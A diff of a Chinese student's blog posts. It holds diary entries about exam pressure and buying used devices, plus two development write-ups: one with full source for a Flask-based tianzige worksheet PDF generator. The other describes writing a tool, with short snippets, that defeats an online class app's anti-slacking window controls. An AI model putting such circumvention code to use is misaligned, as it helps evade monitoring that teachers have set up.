历史35,相较于上次进步了6分,开始逐渐有手感了。
## 后记
由于一模等诸多考试,接下来我的更新将会放缓一些。一模加油!
+79
View File
@@ -0,0 +1,79 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff30dafabd.webp"
title: "周度总结 5-2:疲"
pubDate: "2025-05-24T22:50:00.000Z"
updatedDate: "2025-05-24T22:50:00.000Z"
categories:
- "生活"
tags:
- "情感日记"
- "校园"
- "考试"
comments: true
---
这篇文章写于2025年5月23日,距离河南省中招考试还有29天。
我不清楚写这么一篇文章算不算无病呻吟,只是我觉得我和以前真的有点不一样了。
关键词:`学``睡``表``雨``吃`
## 学
前文提到的退掉的辅导班我报回来了,并且又额外报了个历史的一对一辅导班。现在每周末我要上8小时的辅导班。
19日起,学校里的“培优班”时间范围**又扩大了**,全日制单独安排课程,独立布置作业,就相当于**新分了个班**。
因为这里的学生水平比各自原班的要高,所以这个班里的课程进度非常快,纪律要求也比班里严得多。在这里,没有任何勾心斗角,摆在我眼前的只有血腥的成绩和残酷的竞争。每天除了学习就是学习,课余时间只要看见有人在学,我就不敢休息。课上我不再分神,努力使自己跟上老师的节奏,相比以前老实安分了许多。晚自习,在作业写完之后我开始去钻研自己不会的难题……
就这样持续了一周。
。。。
怎么说呢,现在我感觉整个人都累僵了。
## 睡
19日到22日的睡眠质量异常的好,因为白天学习累到虚脱,晚上几乎是倒在床上就睡着,不像平时那样聊天聊到十点半。平均每天睡了7h40min。
我的午睡时间也自然而然地增长了许多,由原来的20分钟变为了一个多小时。
课间我在以前是出去玩上一会,但是现在一般都是出去上个厕所就趴在课桌上睡。跟高中的同学有的一拼。
![img](https://image.luming.cool/i/2026/05/10/69fff30758f0b.webp)睡眠得分
![img](https://image.luming.cool/i/2026/05/10/69fff308126d3.webp)睡眠时长
## 表
18日我才得知,REDMI Watch 5 eSIM 版搭载的芯片就是和标准版不一样。eSIM 版搭载了玄戒芯片,在开启通讯功能后手表性能会比不开要好很多。不过小米在手机端玄戒芯片发布前就给手表用上玄戒还是令我挺意外的。
水凝膜刚贴了不到一周就被桌角磨开了。至此,我上次网购的十二片水凝膜已经全部贴完。我开始审视自己给手表贴膜的行为——这大抵是因为我“想要把这块手表爱护着用一辈子”,说白了点,就是“划痕恐惧症”。既然我已经明白它只是一块手表,只是作为一个工具陪伴在我身边,那么就没必要把它像金子一样捧在手里,自然使用,让它经受岁月的洗礼是最好的。因此,我不再给手表贴膜。
这一周手表屏幕上增加了几道细划痕,不仔细看完全看不出来,我并没有为之伤心。
## 雨
本周三我们学校迎来了强降雨。待在教室里,我觉得头部神经有一种劣质塑料绳被扯出纤维的感觉,随时要断掉,甚至感觉脑子里有一股血味。受这种感觉的影响,我那天的学习效率奇低。但是看着周围的人丝毫不受影响的样子,我真的痛不欲生。
我怀疑自己发烧了,便在大课间跑到医务室量了个体温——36.5℃。好一个发烧。然后我惊奇地发现出了教室之后那些异样的感觉全都消失了。回到教室,又觉得生不如死了。
## 吃
放毒当然要放在最后啦~
![img](https://image.luming.cool/i/2026/05/10/69fff3094a9a2.webp)周五下午-奶茶配物理课
![img](https://image.luming.cool/i/2026/05/10/69fff30aa34b7.webp)周日晚上-冰西瓜
![img](https://image.luming.cool/i/2026/05/10/69fff30c03abf.webp)周日晚上-外卖米线
## 结语
好累,这篇文章,好潦草。
这篇文章于2025年5月24日22:35写完。
虽然很累,但是我知道我离蜕变不远了,我离破茧成蝶不远了!
中考加油,中考必胜!
+38
View File
@@ -0,0 +1,38 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff30e959a5.webp"
title: "周度总结 5-3:比赛获奖、入团志愿书"
pubDate: "2025-05-31T13:48:00.000Z"
updatedDate: "2025-05-31T13:48:00.000Z"
categories:
- "生活"
tags:
- "易语言"
- "校园"
comments: true
---
今天是 2025 年 5 月 31 日,端午节。朋友们,你们吃粽子了吗?
本周关键词:`编程比赛获奖``入团志愿书`
## 编程比赛获奖
今年 2 月,收到学校信息老师的邀请,我以开发团队的身份,使用团队的作品“蓝屏工具箱”报名参加了洛阳市的中小学生信息素养比赛。
昨天下午,家长们在教室里开家长会,同学们在学术汇报厅自习。信息老师走到我身旁,告诉我,“蓝屏工具箱”获得了洛阳市二等奖。
听到这个消息,我身边的同学都在问“蓝屏工具箱”是什么,我不厌其烦地向他们解释,彼时,诸如“牛\*啊”这类的声音此起彼伏。而我的嘴角,难压。
## 入团志愿书
我已经完成了三节团课的学习。本周的团课,老师教了我们如何填写入团志愿书,以及需要准备哪些材料…等等。
之所以提到这件事,是因为我觉得时间太快了。当我得知我该写入团志愿书的那一刻,我心中不是高兴,而是脑海中第一时间浮现出我去年挨处分时候被通知“无法入团”的场景。那时候我还有心思去整什么八卦,根本不像现在一样无法抽身于时间。转眼间七个月过去了,我马上就要离开这所学校了。
## 后记
最近我在纠结一个问题,在这里向大家提出来:
本站使用的域名,riseforever.cn 和 rsv.ee 哪个更好记忆?
下周见。
@@ -0,0 +1,13 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff326461d8.webp"
title: "中考必胜"
pubDate: "2025-06-22T00:00:00.000Z"
updatedDate: "2025-06-22T00:00:00.000Z"
categories:
- "公告"
tags:
comments: true
---
今日中考。祝愿所有的考生都能考上自己的第一志愿,金榜题名!
+97
View File
@@ -0,0 +1,97 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff31f501e6.webp"
title: "周度总结6-1:生日、古早苹果设备、毕业前的留念"
pubDate: "2025-06-06T23:26:00.000Z"
updatedDate: "2025-06-06T23:26:00.000Z"
categories:
- "生活"
tags:
- "校园"
comments: true
---
各位朋友,晚上好。欢迎收看Riseforever在25年6月的第一篇周记。
记录范围:2025.5.302025.6.6
本周的关键词如标题所示:`生日``古早苹果设备``毕业前的留念`
## 生日
恭喜小伙子15岁了🎉,更成熟了一丢丢。
![img](https://image.luming.cool/i/2026/05/10/69fff30fd5d81.webp)生日蛋糕🎂
## 古早苹果设备
这里要分两点来慢慢讲述—— MacBook Pro 2013 和 iPhone 5s。
## MacBook Pro 2013
5月31日下午,由于我一直幻想着自己可以抱着一台电脑坐在图书馆里写稿子,遂便和家父商量了一下,我们一同前往了以前常去的一家电脑维修铺,看看有没有续航长的二手电脑。结果还真有——一台MacBook Pro 2013,和一台华为笔记本(没看型号)。MacBook Pro卖680元,华为笔记本卖1700元。出于对苹果电脑续航的信任,我毫不犹豫地选择了前者。
目前,这篇稿子就是我用这台Macbook Pro写的。
![img](https://image.luming.cool/i/2026/05/10/69fff3113e538.webp)MacBook Pro 2013
在这台MacBook刚买到家的时候,我就发现了几处问题:
- 屏幕内部多处有灰尘,看上去像是坏点,很难受;
- 触控板下半部分失灵,无法正常使用;
- 充电器严重发烫,最高温度能达到90摄氏度。
次日,我和父亲携电脑一同前往卖家,反映了这些问题。卖家给出的答复是这样的:
> 屏幕里头的是灰,不是坏点。这样,我给你屏幕保修六个月,如果是屏幕坏点并且扩散了,我给你免费换个新屏幕。
> 触控板这问题我还真没发现。这样,我给你换一个触控板试试。(去仓库找了触控板结果没找到)这样,我给你退150元,这个不影响使用。
> 充电器我在收过来的时候就是这样,发烫是正常现象,不知道该咋办。
卖家的态度总体我还算挺满意。
我查了一下,充电器之所以发烫,是因为这台MacBook的额定功率约为60W,而附带的充电器功率是85W,不发烫才怪。于是,父亲在网上花50给我买了一个新的充电器,60W,不发烫了,挺好。
![img](https://image.luming.cool/i/2026/05/10/69fff31259866.webp)旧充电器-85W
![img](https://image.luming.cool/i/2026/05/10/69fff3137d0e4.webp)新充电器-60W
这台MacBook的电池很抗造。虽然是Intel芯片,但是续航最起码比我的Lenovo S40-70长太多了。
总体来说,安全下车。
## iPhone5s
出于对小手机的喜爱,我于5月31日在闲鱼平台上购买了一台iPhone5s,要求是无ID锁、指纹正常、可以插卡。挑选了许久,我在“\*\*数码”这家店花费了92元成功下单。
由于家长限制,到货之后我第一时间偷偷前往驿站取快递,并在第一时间将其拆开。看到手机的第一眼,我惊呆了。
迎面而来的是屏幕上的一道亮眼的大划痕,手机背面更是惨绝人寰。
![img](https://image.luming.cool/i/2026/05/10/69fff314ae1da.webp)破损的机身,戴壳缓解一下
手机预装的是iOS12.5.7,很卡的一个系统。但是好在能下载微信等主流软件的旧版本,并且可以正常使用。指纹解锁挺迅速的,但是当我把我的手机卡插上的时候,问题出现了——手机弹出了“需要激活”的界面,在点击下一步后,开始报错——“不受支持的SIM卡运营商”。我也是立刻和商家联系,商家说他误发了,给我发了个Wi-Fi版的手机,有网络锁。
我很郁闷。一开始,我打算把货退回去,让商家重新发一个正常的。但谁知菜鸟快递不让寄带有电池的电子产品。干脆不寄回去了,商家主动返了我10元。
连上电脑,这里出现了个小插曲。估计是电压不稳,手机出现了鬼畜的情况——来回充电、断开、充电、断开……无限循环。我接了一个拓展坞,再连接手机,终于是能连接上了。我第一时间打开爱思助手验机,发现这机子的摄像头换过、电池换过,其余都绿,悬着的心便放下了些。这时,我瞟了一眼左侧的“今日估价”栏目——18元。
> 好的,朋友们,欢迎观看今天的小丑——Riseforever
这次购物算是翻车了,但是有总比没有好。(哼哼哼啊啊啊啊啊啊啊啊啊啊……)
## 毕业前的留念
沾同学的福,我借到了一台华强北手表,可以拍照的那种。在这周内,我留下了若干张照片。时间真快,转眼间距离中考只剩15天,真正的在校时间也只剩下10天。我在学校拍了一些照片,分享出来和大家一起纪念我的初中。
拍照技术有点菜,勿喷。
![img](https://image.luming.cool/i/2026/05/10/69fff317bb661.webp)晚霞
![img](https://image.luming.cool/i/2026/05/10/69fff31abd375.webp)楼道
![img](https://image.luming.cool/i/2026/05/10/69fff31e0e829.webp)课本
## 后记
中考前可能就更新这一篇文章了,各位,我们中考后见!
@@ -0,0 +1,128 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff34657ca1.webp"
title: "记一次开发:火苗会议调试器"
pubDate: "2025-07-03T00:00:00.000Z"
updatedDate: "2025-07-03T00:00:00.000Z"
categories:
- "科技"
tags:
- "开发"
- "易语言"
comments: true
---
## 前言
朋友们,下午好。众所周知,我早在 6 月 23 日就完成了中考。而我的家长,也早就为我准备好了直到 7 月 12 日才结束的 “高中衔接班”—— 数学、物理、化学、英语,每科两小时,一天一共要上 8 小时课、完成 4 科作业。
但是,我的数学、物理、化学都是线上课,而我又[不是喜欢全神贯注听课的人](https://virelyx.com/507/),总是喜欢在网课时找点事情干,一句话讲,就是喜欢摸鱼。摸鱼能够很好地平衡我的课业压力,并且也不会耽误我的学习,所以这个 “恶习” 被我延续到了现在还没有结束。
我们的网课软件是 “[火苗会议](https://www.classtorch.com/)”,似乎是辅导机构自研的一款网课软件。在 2.5.0 及以前的版本,这款软件是可以在 Windows 环境下通过多桌面实现摸鱼而不被发现的。但是在 2.6.0 版本,软件加入了 “防摸鱼机制”—— 当检测到当前窗口前有其它窗口时,会议窗口会自动消失片刻,再以置顶的方式重新铺满整个屏幕。
在此之后,火苗会议的防摸鱼机制日益成熟。它逐渐加入了快捷键屏蔽、多桌面屏蔽、分辨率自适应等功能,旨在阻止学生切出屏幕进行摸鱼。说句见笑的话,“如何攻破防摸鱼机制”,是我当时认为我人生中最难攻克的问题之一。
所以从火苗会议加入防摸鱼系统起,到我有了开发 “调试器” 的念头之前,我都在使用云电脑作为容器来放置会议窗口,实现摸鱼操作。但我前一天看控制面板的时候惊奇发现,去年花 99 元买的阿里云新人体验款云电脑马上就要过期了,时间真快!看着一年续费 ¥400+ 的高昂价格,以及我那尚未动笔的作业,我不禁起了一个以前根本不敢想的念头 —— 攻破火苗会议。
## 面临的问题
据我所知,火苗会议的防摸鱼系统十分成熟,包括但不限于以下几点:
- 会议窗口强制置顶并铺满屏幕;
- 会议窗口检测到非置顶时会消失片刻并重新恢复置顶;
- 会议窗口显示时会屏蔽 Windows 快捷键;
- 等待发现...
接下来,我就需要针对这一个个问题,逐个攻破。
## 开发过程
### 程序命名 & Logo 设计
考虑到这不是什么正面的程序,命名不能太过直接,所以我就为其命名成 “火苗会议调试器”,英文名 “ ClassTorch Debugger ”。
Logo 我也没敢直接照搬火苗会议的,因为会构成侵权。所以我在 Canva 上面照葫芦画瓢设计了一个。
[![img](https://image.luming.cool/i/2026/05/10/69fff3437e769.webp)](https://img.riseforever.cn/blog_src/2025/07/9079a39da00449f9720526335f6f1cb3.webp)
### 基础 UI 设计
第一版 UI 是这样的:
[![img](https://image.luming.cool/i/2026/05/10/69fff342e1cfe.webp)](https://img.riseforever.cn/blog_src/2025/07/d47a837005205f9b11c3aa0e5e533309.webp)User Interface v1
参照了 [@KFACBT](https://gytxtx.xyz/) 的设计风格。不得不说,我需要更多地学习他的审美。
纯文本界面有点单调,于是我就在第二版用户界面上,为每个分栏添加了图标:
[![img](https://image.luming.cool/i/2026/05/10/69fff3441c988.webp)](https://img.riseforever.cn/blog_src/2025/07/fb75544689b48a7284a68db6934c42ef.webp)User Interface v2
> 看上去顺眼多了。
### 功能设计
#### 攻破会议窗口置顶机制
一开始,我尝试直接使用 “窗口\_嵌入桌面 ()” 这个函数,因为嵌入到桌面里既不会阻碍摸鱼的进行,也可以实现高效听课 —— 毕竟被发现时,Win+D 直接返回网课界面。
结果试了之后发现,会议窗口直接消失了,无论如何也调不回来。所以我就放弃了这个方法。
```
' 窗口_嵌入桌面 (会议窗口句柄) ' 这是无效方法,会使会议窗口消失
```
紧接着没多久,我就想起了自己记录过的一个软件 —— [Jiyu Trainer](https://virelyx.com/809/) 。它的功能里包含了这样一句话:
> - 在不影响极域正常运行的情况下将 全屏的广播 转为 窗口广播 模式,您不仅可自己操作,也可看老师讲解课程。
>
> From: [使用 JiYu Trainer 轻松解除控制并硬控全班 Riseforever](https://virelyx.com/809/#title-2)
那我为何不可将全屏的会议界面窗口化呢?这样既可以满足摸鱼需求,也可以在摸鱼的同时节省桌面空间。
说干就干。就在那时,我的脑子中闪过了一个念头 —— 彗星置父窗口。这是我在编写[蓝屏工具箱](https://tools.cnstlapy.cn/)的时候使用过的模块。我急忙地引用,并写了以下代码:
```
载入 (窗口_火苗容器, , 假)
彗星置父窗口 (窗口_火苗容器.取窗口句柄 (), 会议窗口句柄, 0, 0, 窗口_火苗容器.宽度, 窗口_火苗容器.高度)
```
虽然父窗口置完了,但是以火苗会议的防摸鱼机制,它可能会将自己的窗口大小设定为与屏幕分辨率相匹配的大小,这样会导致会议窗口上的部分内容无法被显示。所以,我又添加了一行代码,限制窗口的大小:
```
窗口_限制尺寸 (会议窗口句柄, 窗口_火苗容器.取用户区宽度 (), 窗口_火苗容器.取用户区高度 (), 窗口_火苗容器.取用户区宽度 (), 窗口_火苗容器.取用户区高度 ())
```
OK,接下来我进行了调试运行,结果,会议容器窗口中一片空白,但是会议正常进行,并且**鼠标指针放在会议窗口的控件位置上,鼠标会对应地变成手型。**这就给了我很大启发,说明会议窗口是因为某种不兼容的因素无法直接显示,需要通过某种手段让它显示出来。
我首要想起的就是`窗口重画`之类的函数。于是,我使用精易模块里的 “窗口\_重画 ()” 函数进行了窗口重画:
```
窗口_重画 (会议窗口句柄, 真)
```
这一试还真灵,会议窗口就这样被显示到了容器窗口里。
[![img](https://image.luming.cool/i/2026/05/10/69fff344d2fcd.webp)](https://img.riseforever.cn/blog_src/2025/07/b540bb71b479748e9daf29dbe921d179.webp)
我高兴坏了,于是又给程序写了个会议窗口尺寸自适应功能。这样,不管容器窗口大小怎样调整,会议窗口都会被完整地限制在容器窗口内。
#### 攻破会议窗口消失机制
由于前一天晚上我并没有可以用来实验的直播课,所以我只使用了一个回放窗口来实验。而回放窗口只具备强制置顶的特性,像是前文提到的`消失片刻并重新置顶``屏蔽 Windows 快捷键`等特性,在回放窗口中是不具备的。
所以今天我在直播课上测试的时候,果不其然,火苗会议的`消失片刻并重新置顶`特性稳定发挥:
[![img](https://image.luming.cool/i/2026/05/10/69fff3457fe66.webp)](https://img.riseforever.cn/blog_src/2025/07/9332c9ef92f3b715317dc4439a311ac8.webp)
我当场懵圈了,于是急忙停止了调试,重启了火苗会议。毕竟还是要以正常听课为主。
过了一会儿,我利用它`消失片刻并重新置顶`的特性,启动云电脑,启动云电脑上的火苗会议,跳过更新、检查设备、进入会议,一气呵成。至此,火苗会议调试器又出现了新的待解决的问题 —— 如何让会议窗口不消失。
由于我对 Windows API 并不是很熟悉,所以我咨询了工作室里的另一位伙伴 [@GDWare](https://gdware.cnstlapy.cn/) ,他对这方面比较了解。经过他的一系列帮助,我们一次性成功攻破了火苗会议里`消失片刻并重新置顶``屏蔽 Windows 快捷键`的特性。
至此,火苗会议调试器的功能已全部完善。支持一键智能识别并自动操作和手动操作两种模式,满足了不同用户的需求。
## 结语
我深知这款程序如果在互联网上被传播会遭到许多人的谩骂,所以我并不打算发布此程序,只打算留着自己用。如果你需要这类程序,你可以根据这篇文章里的代码,自己照葫芦画瓢用**易语言**写一个。
最近想写一篇杂记,记录自己中考期间的精神状态,结果磨磨蹭蹭硬是写了八天没写完。哈哈,静等下期,我们再见!
@@ -0,0 +1,564 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff354c9b08.webp"
title: "记一次开发:田字格生成器"
pubDate: "2025-07-13T10:20:00.000Z"
updatedDate: "2025-07-13T10:20:00.000Z"
categories:
- "科技"
tags:
- "开发"
- "生活"
- "软件"
comments: true
---
## 前言
朋友们,上午好。今天我想和大家分享一下我近期与 AI 协作,使用 Python+Flask 进行开发的经历。
本次开发的软件名字叫“田字格生成器”,已经部署上线,可以点击[这里](https://tzg.rsv.ee/)使用。
## 立项原因
家母最近参与了洛阳日报社的托管班暑期托管活动,担任硬笔书法教师。这是她第一次在正式的单位进行授课,没有教材,需要她自己准备。
我并不知道母亲是怎么准备教材的。前几天的下午, 我在衔接班的空隙,看到母亲用尺子在一张纸上画着什么。走近一看,霍!纸上打印的是她用手机拍下来的范字,糊成了保密级画质。而她拿着尺子,是为了手动将模糊的田字格虚线描实。
而目光一转,她旁边还有一摞跟教辅一样厚的原始稿件等待处理,这得处理到猴年马月!于是我毫不犹豫地对她说:“交给我吧!”
就这样,一个名为“田字格批量生成器”的文件夹就被新建了。
## 需求确定
母亲的要求有很多,比如:
1. 一页A4纸,放一个田字格,撑满整张纸,贴到黑板上给学生讲;
2. 一页A4纸,放一个学生的名字,横版,撑满整张纸,用来教学生写自己的名字;
3. 一页A4纸,放一张字帖;
4. 一页A4纸,放一页竖版的字帖;
5. 一页A4纸,放30个字,用作自己练习,6行5列。
而网上的田字格在线生成器并不能满足母亲的需求,所以,Cursor,启动!
## 基础功能
我先将需求投喂给 Cursor,接着,它帮我写出了如下界面的程序:
![img](https://image.luming.cool/i/2026/05/10/69fff3501e142.webp)初版程序
主要功能:用户往编辑框里输入需要生成的汉字→选择模式→程序根据对应的模式生成 PDF 文件并输出到 output 目录下。
当我把生成好的 PDF 拿给母亲看的时候,她果断地摇了摇头:
> 你这个字体面积占整个田字格面积的占比太小了。
>
> 你刚才给我看的那个字帖生成网页,那个网页的田字格我觉得符合我的需求。
于是我便把网络上的田字格字帖生成器打开了,母亲仔细看了看,认可地点点头,要求我按照它一样做。
为此,我将那个田字格生成器作为 HTML 保存了下来,并放到了项目根目录,和 Cursor 说:
> 模仿 xxxxxx.html 的田字格排版形式,重新排版现有的田字格。
等到 AI 生成完毕,我再次测试让母亲看,这次她终于接受了。
## 网页版改编&上线
既然母亲已经接受了 AI 生成的田字格样式,那么怎么排版就是我的事情了。在向 AI 投喂了一大堆提示词之后,终于生成了以下样式的田字格生成器:
![img](https://image.luming.cool/i/2026/05/10/69fff35122233.webp)
期间还有一个小插曲:我在让 AI 编写出 6 行 5 列的排版时,错将“6 行 5 列”表达成了“5 行 6 列”,AI 生成了以下样式的排版:
![img](https://image.luming.cool/i/2026/05/10/69fff3533647a.webp)
由于这整体看起来太像是正方形了,所以我把它错看成了 6 行 6 列。于是我竭尽全力地让 AI “纠正”,却无济于事。我笑骂了 AI 几句,便想着放弃,关闭了 Cursor。
当我把这份废稿发给母亲的时候,母亲的一句话点醒了我——是我数错了:
![img](https://image.luming.cool/i/2026/05/10/69fff353f09dd.webp)
得知这个消息的我兴奋极了,连忙再次打开 Cursor,输入提示词,等待改编完毕,运行,生成,成功了!
## 源代码
因为我的 Github 账号的 2FA 验证器被我卸载了,同时,恢复密钥也被我误删了,所以我的 Github 账号(Rise-forever)现在完全用不了了。
这个程序就先在这里开源吧,后续我可能会在 [CNB](https://cnb.cool) 上开源。
以下是主程序(.py)的源码,命名为 app.py:
```
from flask import Flask, render_template, request, send_file, redirect, url_for, flash
import os
import io
import random
import string
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import A4
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import TTFont
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.secret_key = 'tianzige_secret_key'
# 注册楷体字体(确保simkai.ttf在同目录下)
pdfmetrics.registerFont(TTFont('KaiTi', 'simkai.ttf'))
def random_str(length=6):
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
def draw_tianzige(c, x, y, size, border_width: float = 2.0, dash_width: float = 1.0, dash_color=(0,0,0), mode=None):
cx = x + size/2
cy = y + size/2
if mode == 'zitieborder':
c.setLineWidth(dash_width)
c.setStrokeColorRGB(*dash_color)
segs = 5
gap_ratio = 0.3
for i in range(segs):
seg_len = (size/2) / (segs + (segs-1)*gap_ratio)
gap = seg_len * gap_ratio
y1 = cy + i * (seg_len + gap)
y2 = y1 + seg_len
if y2 <= y + size:
c.line(cx, y1, cx, y2)
for i in range(segs):
seg_len = (size/2) / (segs + (segs-1)*gap_ratio)
gap = seg_len * gap_ratio
y1 = cy - i * (seg_len + gap)
y2 = y1 - seg_len
if y2 >= y:
c.line(cx, y1, cx, y2)
for i in range(segs):
seg_len = (size/2) / (segs + (segs-1)*gap_ratio)
gap = seg_len * gap_ratio
x1 = cx - i * (seg_len + gap)
x2 = x1 - seg_len
if x2 >= x:
c.line(x1, cy, x2, cy)
for i in range(segs):
seg_len = (size/2) / (segs + (segs-1)*gap_ratio)
gap = seg_len * gap_ratio
x1 = cx + i * (seg_len + gap)
x2 = x1 + seg_len
if x2 <= x + size:
c.line(x1, cy, x2, cy)
c.setLineWidth(border_width)
c.setStrokeColorRGB(0,0,0)
c.rect(x, y, size, size)
return
dash = [8, 5]
c.setLineWidth(dash_width)
c.setStrokeColorRGB(*dash_color)
for i in range(10):
y1 = y + i * size / 10
y2 = y + (i + 1) * size / 10
c.setDash(dash)
c.line(x + size/2, y1, x + size/2, y2)
for i in range(10):
x1 = x + i * size / 10
x2 = x + (i + 1) * size / 10
c.setDash(dash)
c.line(x1, y + size/2, x2, y + size/2)
c.setDash([])
c.setLineWidth(border_width)
c.setStrokeColorRGB(0,0,0)
c.rect(x, y, size, size)
def generate_single_page(chars):
buffer = io.BytesIO()
c = canvas.Canvas(buffer, pagesize=A4)
width, height = A4
margin = 20
size = min(width, height) - 2 * margin
x = (width - size) / 2
y = (height - size) / 2
font_size = int(size * 0.725)
for char in chars:
draw_tianzige(c, x, y, size, border_width=4.0, dash_width=3.0, dash_color=(0.2,0.2,0.2))
c.setFont("KaiTi", font_size)
c.setFillColorRGB(0, 0, 0)
c.drawCentredString(width/2, height/2 - size*0.25, char)
c.showPage()
c.save()
buffer.seek(0)
return buffer
def generate_zi_tie(chars):
buffer = io.BytesIO()
c = canvas.Canvas(buffer, pagesize=A4)
width, height = A4
mm = 2.8346
grid_size = 15 * mm
gap = 2 * mm
cols = 12
rows = 15
total_grid_h = rows * grid_size + (rows - 1) * gap
total_grid_w = cols * grid_size
margin_x = max((width - total_grid_w) / 2, 0)
margin_y = max((height - total_grid_h) / 2, 0)
font_size = int(grid_size * 0.725)
chars = list(chars)
page_count = (len(chars) + rows - 1) // rows
char_idx = 0
for page in range(page_count):
for row in range(rows):
if char_idx >= len(chars):
break
char = chars[char_idx]
for col in range(cols):
gx = margin_x + col * grid_size
gy = height - margin_y - (row + 1) * grid_size - row * gap
draw_tianzige(c, gx, gy, grid_size, border_width=0.8, dash_width=0.5, dash_color=(0.69,0.69,0.69), mode='zitieborder')
if col == 0:
c.setFont("KaiTi", font_size)
c.setFillColorRGB(0, 0, 0)
c.drawCentredString(gx + grid_size/2, gy + grid_size/2 - grid_size*0.25, char)
char_idx += 1
c.showPage()
c.save()
buffer.seek(0)
return buffer
def generate_name_per_page(text):
buffer = io.BytesIO()
c = canvas.Canvas(buffer, pagesize=(842, 595))
width, height = 842, 595
margin = 20
names = [n.strip() for n in text.split() if n.strip()]
for name in names:
n_chars = len(name)
if n_chars == 0:
continue
size = min((width - 2*margin) / n_chars, height - 2*margin)
font_size = int(size * 0.725)
y = (height - size) / 2
start_x = (width - size * n_chars) / 2
for i, char in enumerate(name):
gx = start_x + i * size
draw_tianzige(c, gx, y, size, border_width=4.0, dash_width=3.0, dash_color=(0.2,0.2,0.2))
c.setFont("KaiTi", font_size)
c.setFillColorRGB(0, 0, 0)
c.drawCentredString(gx + size/2, height/2 - size*0.25, char)
c.showPage()
c.save()
buffer.seek(0)
return buffer
def generate_zi_tie_vertical(chars):
buffer = io.BytesIO()
c = canvas.Canvas(buffer, pagesize=A4)
width, height = A4
mm = 2.8346
grid_size = 15 * mm
gap = 2 * mm
cols = 12
rows = 15
total_grid_h = rows * grid_size + (rows - 1) * gap
total_grid_w = cols * grid_size
margin_x = max((width - total_grid_w) / 2, 0)
margin_y = max((height - total_grid_h) / 2, 0)
font_size = int(grid_size * 0.725)
chars = list(chars)
page_count = (len(chars) + cols - 1) // cols
char_idx = 0
for page in range(page_count):
# 获取当前页的字符(最多12个)
page_chars = []
for col in range(cols):
if char_idx < len(chars):
page_chars.append(chars[char_idx])
char_idx += 1
else:
page_chars.append('') # 空字符占位
# 绘制当前页
for col in range(cols):
char = page_chars[col]
for row in range(rows):
gx = margin_x + col * grid_size
gy = height - margin_y - (row + 1) * grid_size - row * gap
draw_tianzige(c, gx, gy, grid_size, border_width=0.8, dash_width=0.5, dash_color=(0.69,0.69,0.69), mode='zitieborder')
# 在第1、6、11行显示范字(如果该列有字符)
if char and (row == 0 or row == 5 or row == 10):
c.setFont("KaiTi", font_size)
c.setFillColorRGB(0, 0, 0)
c.drawCentredString(gx + grid_size/2, gy + grid_size/2 - grid_size*0.25, char)
c.showPage()
c.save()
buffer.seek(0)
return buffer
def generate_5x6_mode(chars):
buffer = io.BytesIO()
c = canvas.Canvas(buffer, pagesize=A4)
width, height = A4
mm = 2.8346
cols = 5 # 改为5列
rows = 6 # 改为6行
# 计算田字格大小,让总宽度贴边A4纸宽度
gap = 1.5 * mm # 间距
# 计算田字格大小和边距,确保左右边距相等
margin_x = 10 * mm # 设置左右边距
available_width = width - 2 * margin_x
grid_size = (available_width - (cols - 1) * gap) / cols # 计算田字格大小
# 重新计算边距确保居中
total_grid_width = cols * grid_size + (cols - 1) * gap
margin_x = (width - total_grid_width) / 2 # 确保左右边距相等
# 计算总高度和垂直边距
total_grid_h = rows * grid_size + (rows - 1) * gap
margin_y = max((height - total_grid_h) / 2, 15 * mm)
font_size = int(grid_size * 0.725)
chars = list(chars)
page_count = (len(chars) + 29) // 30 # 每页30个格子
char_idx = 0
for page in range(page_count):
# 先绘制所有田字格(6行5列)
for row in range(rows):
for col in range(cols):
gx = margin_x + col * (grid_size + gap)
gy = height - margin_y - (row + 1) * grid_size - row * gap
# 加重框线、虚线和字体颜色
draw_tianzige(c, gx, gy, grid_size, border_width=3.0, dash_width=2.5, dash_color=(0.2,0.2,0.2), mode='zitieborder')
# 再填充字符(从左往右,从上往下)
for row in range(rows):
for col in range(cols):
if char_idx < len(chars):
gx = margin_x + col * (grid_size + gap)
gy = height - margin_y - (row + 1) * grid_size - row * gap
c.setFont("KaiTi", font_size)
c.setFillColorRGB(0, 0, 0) # 纯黑色字体
c.drawCentredString(gx + grid_size/2, gy + grid_size/2 - grid_size*0.25, chars[char_idx])
char_idx += 1
c.showPage()
c.save()
buffer.seek(0)
return buffer
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
chars = request.form.get('chars', '').strip()
mode = request.form.get('mode', '1')
if not chars:
flash('请输入要生成的汉字或名字!')
return redirect(url_for('index'))
if mode == '1':
pdf_buffer = generate_single_page(chars)
elif mode == '2':
pdf_buffer = generate_zi_tie(chars)
elif mode == '3':
pdf_buffer = generate_name_per_page(chars)
elif mode == '4':
pdf_buffer = generate_zi_tie_vertical(chars)
elif mode == '5':
pdf_buffer = generate_5x6_mode(chars)
else:
flash('请选择生成模式!')
return redirect(url_for('index'))
# 文件名:前三个字+随机串
base = chars[:3] if len(chars) >= 3 else chars
filename = f"{base}{random_str(6)}.pdf"
filename = secure_filename(filename)
return send_file(pdf_buffer, as_attachment=True, download_name=filename, mimetype='application/pdf')
return render_template('index.html')
if __name__ == '__main__':
app.run(debug=True)
```
以下是 index.html 的源码,index.html 需要在主程序所在目录新建一个名为“templates”的文件夹,并将 HTML 放进去。
```
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>田字格批量生成器</title>
<style>
body { font-family: '微软雅黑', Arial, sans-serif; background: #f7f7f7; }
.container { max-width: 420px; margin: 60px auto; background: #fff; border-radius: 8px; box-shadow: 0 2px 8px #ccc; padding: 32px 28px; }
h2 { text-align: center; margin-bottom: 24px; }
label { display: block; margin: 16px 0 6px 0; font-size: 16px; }
input[type="text"] { display: block; box-sizing: border-box; width: 100%; padding: 8px 10px; font-size: 18px; border: 1px solid #bbb; border-radius: 4px; margin: 0 auto; }
.modes { margin: 18px 0 22px 0; }
.modes label { display: block; font-size: 15px; margin-bottom: 6px; }
button { width: 100%; background: #2d8cf0; color: #fff; border: none; border-radius: 4px; padding: 12px 0; font-size: 18px; cursor: pointer; }
